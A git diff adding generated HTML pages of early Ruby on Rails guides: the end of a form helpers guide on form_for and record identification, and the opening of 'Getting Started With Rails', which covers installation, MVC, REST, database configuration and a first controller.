+<div class="title">Example: articles_controller.rb</div>
+<div class="content">
+<pre><tt>def new
+ @article = Article.new
+end</tt></pre>
+</div></div>
+<div class="para"><p>Now we switch to the view. The first thing to remember is that we should use <tt>form_for</tt> helper instead of <tt>form_tag</tt>, and that we should pass the model name and object as arguments:</p></div>
+<div class="listingblock">
+<div class="title">Example: articles/new.html.erb</div>
+<div class="content">
+<pre><tt><% form_for :article, @article, :url => { :action => "create" } do |f| %>
+ <%= f.text_field :title %>
+ <%= f.text_area :body, :size => "60x12" %>
+ <%= submit_tag "Create" %>
+<% end %></tt></pre>
+</div></div>
+<div class="para"><p>There are a few things to note here:</p></div>
+<div class="olist"><ol>
+<li>
+<p>
+<tt>:article</tt> is the name of the model and <tt>@article</tt> is our record.
+</p>
+</li>
+<li>
+<p>
+The URL for the action attribute is passed as a parameter named <tt>:url</tt>.
+</p>
+</li>
+<li>
+<p>
+The <tt>form_for</tt> method yields <strong>a form builder</strong> object (the <tt>f</tt> variable).
+</p>
+</li>
+<li>
+<p>
+Methods to create form controls are called <strong>on</strong> the form builder object <tt>f</tt> and <strong>without</strong> the <tt>"_tag"</tt> suffix (so <tt>text_field_tag</tt> becomes <tt>f.text_field</tt>).
+</p>
+</li>
+</ol></div>
+<div class="para"><p>The resulting HTML is:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt><form action="/articles/create" method="post">
+ <input id="article_title" name="article[title]" size="30" type="text" />
+ <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+ <input name="commit" type="submit" value="Create" />
+</form></tt></pre>
+</div></div>
+<div class="para"><p>A nice thing about <tt>f.text_field</tt> and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>@article = Article.new(:title => "Rails makes forms easy")</tt></pre>
+</div></div>
+<div class="para"><p>… the corresponding input will be rendered with a value:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt><input id="post_title" name="post[title]" size="30" type="text" value="Rails makes forms easy" /></tt></pre>
+</div></div>
+<h3 id="_relying_on_record_identification">2.1. Relying on record identification</h3>
+<div class="para"><p>In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it <strong>a resource</strong>.</p></div>
+<div class="para"><p>When dealing with RESTful resources, our calls to <tt>form_for</tt> can get significantly easier if we rely on <strong>record identification</strong>. In short, we can just pass the model instance and have Rails figure out model name and the rest:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>## Creating a new article
+# long-style:
+form_for(:article, @article, :url => articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(:article, @article, :url => article_path(@article), :method => "put")
+# short-style:
+form_for(@article)</tt></pre>
+</div></div>
+<div class="para"><p>Notice how the short-style <tt>form_for</tt> invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking <tt>record.new_record?</tt>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, <tt>:url</tt> and <tt>:method</tt> explicitly.</td>
+</tr></table>
+</div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/getting_started_with_rails.html b/railties/doc/guides/html/getting_started_with_rails.html new file mode 100644 index 0000000000..1302e4f70d --- /dev/null +++ b/railties/doc/guides/html/getting_started_with_rails.html @@ -0,0 +1,1895 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Getting Started With Rails</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_this_guide_assumes">This Guide Assumes</a> + </li> + <li> + <a href="#_what_is_rails">What is Rails?</a> + <ul> + + <li><a href="#_the_mvc_architecture">The MVC Architecture</a></li> + + <li><a href="#_the_components_of_rails">The Components of Rails</a></li> + + <li><a href="#_rest">REST</a></li> + + </ul> + </li> + <li> + <a href="#_creating_a_new_rails_project">Creating a New Rails Project</a> + <ul> + + <li><a href="#_installing_rails">Installing Rails</a></li> + + <li><a href="#_creating_the_blog_application">Creating the Blog Application</a></li> + + <li><a href="#_configuring_a_database">Configuring a Database</a></li> + + </ul> + </li> + <li> + <a href="#_hello_rails">Hello, Rails!</a> + <ul> + + <li><a href="#_starting_up_the_web_server">Starting up the Web Server</a></li> + + <li><a href="#_setting_the_application_home_page">Setting the Application Home Page</a></li> + + </ul> + </li> + <li> + <a href="#_getting_up_and_running_quickly_with_scaffolding">Getting Up and Running Quickly With Scaffolding</a> + </li> + <li> + <a href="#_creating_a_resource">Creating a Resource</a> + <ul> + + <li><a href="#_running_a_migration">Running a Migration</a></li> + + <li><a href="#_adding_a_link">Adding a Link</a></li> + + <li><a href="#_working_with_posts_in_the_browser">Working with Posts in the Browser</a></li> + + <li><a href="#_the_model">The Model</a></li> + + <li><a href="#_adding_some_validation">Adding Some Validation</a></li> + + <li><a href="#_using_the_console">Using the Console</a></li> + + <li><a href="#_listing_all_posts">Listing All Posts</a></li> + + <li><a href="#_customizing_the_layout">Customizing the Layout</a></li> + + <li><a href="#_creating_new_posts">Creating New Posts</a></li> + + <li><a href="#_showing_an_individual_post">Showing an Individual Post</a></li> + + <li><a href="#_editing_posts">Editing Posts</a></li> + + <li><a href="#_destroying_a_post">Destroying a Post</a></li> + + </ul> + </li> + <li> + <a href="#_adding_a_second_model">Adding a Second Model</a> + <ul> + + <li><a href="#_generating_a_model">Generating a Model</a></li> + + <li><a href="#_associating_models">Associating Models</a></li> + + <li><a href="#_adding_a_route">Adding a Route</a></li> + + <li><a href="#_generating_a_controller">Generating a Controller</a></li> + + <li><a href="#_building_views">Building Views</a></li> + + <li><a href="#_hooking_comments_to_posts">Hooking Comments to Posts</a></li> + + </ul> + </li> + <li> + <a href="#_what_s_next">What's Next?</a> + </li> + <li> + <a href="#_changelog">Changelog</a> + </li> + </ol> + </div> + + <div id="content"> + <h1>Getting Started With Rails</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Installing Rails, creating a new Rails application, and connecting your application to a database
+</p>
+</li>
+<li>
+<p>
+The general layout of a Rails application
+</p>
+</li>
+<li>
+<p>
+The basic principles of MVC (Model, View Controller) and RESTful design
+</p>
+</li>
+<li>
+<p>
+How to quickly generate the starting pieces of a Rails application.
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_this_guide_assumes">1. This Guide Assumes</h2>
+<div class="sectionbody">
+<div class="para"><p>This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The <a href="http://www.ruby-lang.org/en/downloads/">Ruby</a> language
+</p>
+</li>
+<li>
+<p>
+The <a href="http://rubyforge.org/frs/?group_id=126">RubyGems</a> packaging system
+</p>
+</li>
+<li>
+<p>
+A working installation of <a href="http://www.sqlite.org/">SQLite</a> (preferred), <a href="http://www.mysql.com/">MySQL</a>, or <a href="http://www.postgresql.org/">PostgreSQL</a>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>It is highly recommended that you <strong>familiarize yourself with Ruby before diving into Rails</strong>. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://www.humblelittlerubybook.com/">Mr. Neigborly’s Humble Little Ruby Book</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://www.rubycentral.com/book/">Programming Ruby</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://poignantguide.net/ruby/">Why's (Poignant) Guide to Ruby</a>
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_what_is_rails">2. What is Rails?</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.</p></div>
+<div class="para"><p>Rails is <em>opinionated software</em>. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.</p></div>
+<div class="para"><p>The Rails philosophy includes several guiding principles:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+</p>
+</li>
+<li>
+<p>
+Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files.
+</p>
+</li>
+<li>
+<p>
+REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go.
+</p>
+</li>
+</ul></div>
+<h3 id="_the_mvc_architecture">2.1. The MVC Architecture</h3>
+<div class="para"><p>Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Isolation of business logic from the user interface
+</p>
+</li>
+<li>
+<p>
+Ease of keeping code DRY
+</p>
+</li>
+<li>
+<p>
+Making it clear where different types of code belong for easier maintenance
+</p>
+</li>
+</ul></div>
+<h4 id="_models">2.1.1. Models</h4>
+<div class="para"><p>A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.</p></div>
+<h4 id="_views">2.1.2. Views</h4>
+<div class="para"><p>Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.</p></div>
+<h4 id="_controllers">2.1.3. Controllers</h4>
+<div class="para"><p>Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.</p></div>
+<h3 id="_the_components_of_rails">2.2. The Components of Rails</h3>
+<div class="para"><p>Rails provides a full stack of components for creating web applications, including:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Action Controller
+</p>
+</li>
+<li>
+<p>
+Action View
+</p>
+</li>
+<li>
+<p>
+Active Record
+</p>
+</li>
+<li>
+<p>
+Action Mailer
+</p>
+</li>
+<li>
+<p>
+Active Resource
+</p>
+</li>
+<li>
+<p>
+Railties
+</p>
+</li>
+<li>
+<p>
+Active Support
+</p>
+</li>
+</ul></div>
+<h4 id="_action_controller">2.2.1. Action Controller</h4>
+<div class="para"><p>Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.</p></div>
+<h4 id="_action_view">2.2.2. Action View</h4>
+<div class="para"><p>Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.</p></div>
+<h4 id="_active_record">2.2.3. Active Record</h4>
+<div class="para"><p>Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.</p></div>
+<h4 id="_action_mailer">2.2.4. Action Mailer</h4>
+<div class="para"><p>Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.</p></div>
+<h4 id="_active_resource">2.2.5. Active Resource</h4>
+<div class="para"><p>Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.</p></div>
+<h4 id="_railties">2.2.6. Railties</h4>
+<div class="para"><p>Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.</p></div>
+<h4 id="_active_support">2.2.7. Active Support</h4>
+<div class="para"><p>Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.</p></div>
+<h3 id="_rest">2.3. REST</h3>
+<div class="para"><p>The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
+</p>
+</li>
+<li>
+<p>
+Transferring representations of the state of that resource between system components.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For example, to a Rails application a request such as this:</p></div>
+<div class="para"><p><tt>DELETE /photos/17</tt></p></div>
+<div class="para"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
+</div>
+<h2 id="_creating_a_new_rails_project">3. Creating a New Rails Project</h2>
+<div class="sectionbody">
+<div class="para"><p>If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.</p></div>
+<h3 id="_installing_rails">3.1. Installing Rails</h3>
+<div class="para"><p>In most cases, the easiest way to install Rails is to take advantage of RubyGems:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ gem install rails
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">There are some special circumstances in which you might want to use an alternate installation strategy:</td>
+</tr></table>
+</div>
+<div class="ilist"><ul>
+<li>
+<p>
+If you're working on Windows, you may find it easier to install <a href="http://instantrails.rubyforge.org/wiki/wiki.pl">Instant Rails</a>. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
+</p>
+</li>
+<li>
+<p>
+If you want to keep up with cutting-edge changes to Rails, you'll want to clone the <a href="http://github.com/rails/rails/tree/master">Rails source code</a> from github. This is not recommended as an option for beginners, though.
+</p>
+</li>
+</ul></div>
+<h3 id="_creating_the_blog_application">3.2. Creating the Blog Application</h3>
+<div class="para"><p>Open a terminal, navigate to a folder where you have rights to create files, and type:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rails blog
+</tt></pre></div></div>
+<div class="para"><p>This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rails blog -d mysql
+</tt></pre></div></div>
+<div class="para"><p>And if you're using PostgreSQL for data storage, run this command:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rails blog -d postgresql
+</tt></pre></div></div>
+<div class="para"><p>In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="137" />
+<col width="1440" />
+<thead>
+ <tr>
+ <th align="left">
+ File/Folder
+ </th>
+ <th align="left">
+ Purpose
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ <tt>README</tt>
+ </td>
+ <td align="left">
+ This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>Rakefile</tt>
+ </td>
+ <td align="left">
+ This file contains batch jobs that can be run from the terminal.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>app/</tt>
+ </td>
+ <td align="left">
+ Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>config/</tt>
+ </td>
+ <td align="left">
+ Configure your application's runtime rules, routes, database, and more.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>db/</tt>
+ </td>
+ <td align="left">
+ Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>doc/</tt>
+ </td>
+ <td align="left">
+ In-depth documentation for your application.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>lib/</tt>
+ </td>
+ <td align="left">
+ Extended modules for your application (not covered in this guide).
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>log/</tt>
+ </td>
+ <td align="left">
+ Application log files.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>public/</tt>
+ </td>
+ <td align="left">
+ The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>script/</tt>
+ </td>
+ <td align="left">
+ Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>test/</tt>
+ </td>
+ <td align="left">
+ Unit tests, fixtures, and other test apparatus. These are covered in <a href="../testing_rails_applications.html">Testing Rails Applications</a>
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>tmp/</tt>
+ </td>
+ <td align="left">
+ Temporary files
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>vendor/</tt>
+ </td>
+ <td align="left">
+ A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<h3 id="_configuring_a_database">3.3. Configuring a Database</h3>
+<div class="para"><p>Just about every Rails application will interact with a database. The database to use is specified in a configuration file, <tt>config/database.yml</tt>.
+If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The <tt>development</tt> environment is used on your development computer as you interact manually with the application
+</p>
+</li>
+<li>
+<p>
+The <tt>test</tt> environment is used to run automated tests
+</p>
+</li>
+<li>
+<p>
+The <tt>production</tt> environment is used when you deploy your application for the world to use.
+</p>
+</li>
+</ul></div>
+<h4 id="_configuring_a_sqlite_database">3.3.1. Configuring a SQLite Database</h4>
+<div class="para"><p>Rails comes with built-in support for SQLite, which is a lightweight flat-file based database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.</p></div>
+<div class="para"><p>Here's the section of the default configuration file with connection information for the development environment:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>development<span style="color: #990000">:</span>
+ adapter<span style="color: #990000">:</span> sqlite3
+ database<span style="color: #990000">:</span> db<span style="color: #990000">/</span>development<span style="color: #990000">.</span>sqlite3
+ timeout<span style="color: #990000">:</span> <span style="color: #993399">5000</span>
+</tt></pre></div></div>
+<div class="para"><p>If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:</p></div>
+<div class="para"><p>If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem. Similar to installing Rails you just need to run:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ gem install sqlite3-ruby
+</tt></pre></div></div>
+<h4 id="_configuring_a_mysql_database">3.3.2. Configuring a MySQL Database</h4>
+<div class="para"><p>If you choose to use MySQL, your <tt>config/database.yml</tt> will look a little different. Here's the development section:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>development<span style="color: #990000">:</span>
+ adapter<span style="color: #990000">:</span> mysql
+ encoding<span style="color: #990000">:</span> utf8
+ database<span style="color: #990000">:</span> blog_development
+ username<span style="color: #990000">:</span> root
+ password<span style="color: #990000">:</span>
+ socket<span style="color: #990000">:</span> <span style="color: #FF6600">/tmp/</span>mysql<span style="color: #990000">.</span>sock
+</tt></pre></div></div>
+<div class="para"><p>If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the <tt>development</tt> section as appropriate.</p></div>
+<h4 id="_configuring_a_postgresql_database">3.3.3. Configuring a PostgreSQL Database</h4>
+<div class="para"><p>If you choose to use PostgreSQL, your <tt>config/database.yml</tt> will be customized to use PostgreSQL databases:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>development<span style="color: #990000">:</span>
+ adapter<span style="color: #990000">:</span> postgresql
+ encoding<span style="color: #990000">:</span> unicode
+ database<span style="color: #990000">:</span> blog_development
+ username<span style="color: #990000">:</span> blog
+ password<span style="color: #990000">:</span>
+</tt></pre></div></div>
+<div class="para"><p>Change the username and password in the <tt>development</tt> section as appropriate.</p></div>
+</div>
+<h2 id="_hello_rails">4. Hello, Rails!</h2>
+<div class="sectionbody">
+<div class="para"><p>One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate controller home index
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails <tt>script</tt> commands to Ruby: <tt>ruby script/generate controller home index</tt>.</td>
+</tr></table>
+</div>
+<div class="para"><p>Rails will create several files for you, including <tt>app/views/home/index.html.erb</tt>. This is the template that will be used to display the results of the <tt>index</tt> action (method) in the <tt>home</tt> controller. Open this file in your text editor and edit it to contain a single line of code:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF"><h1></span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF"></h1></span></span>
+</tt></pre></div></div>
+<h3 id="_starting_up_the_web_server">4.1. Starting up the Web Server</h3>
+<div class="para"><p>You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/server
+</tt></pre></div></div>
+<div class="para"><p>This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to <tt>http://localhost:3000</tt>. You should see Rails' default information page:</p></div>
+<div class="para"><p><span class="image">
+<img src="images/rails_welcome.png" alt="Welcome Aboard screenshot" title="Welcome Aboard screenshot" />
+</span></p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.</td>
+</tr></table>
+</div>
+<div class="para"><p>The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to <tt>http://localhost:3000/home/index</tt>.</p></div>
+<h3 id="_setting_the_application_home_page">4.2. Setting the Application Home Page</h3>
+<div class="para"><p>You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rm public/index<span style="color: #990000">.</span>html
+</tt></pre></div></div>
+<div class="para"><p>Now, you have to tell Rails where your actual home page is located. Open the file <tt>config/routes.rb</tt> in your editor. This is your application's, <em>routing file</em>, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the <em>default routes</em>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
+map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
+</tt></pre></div></div>
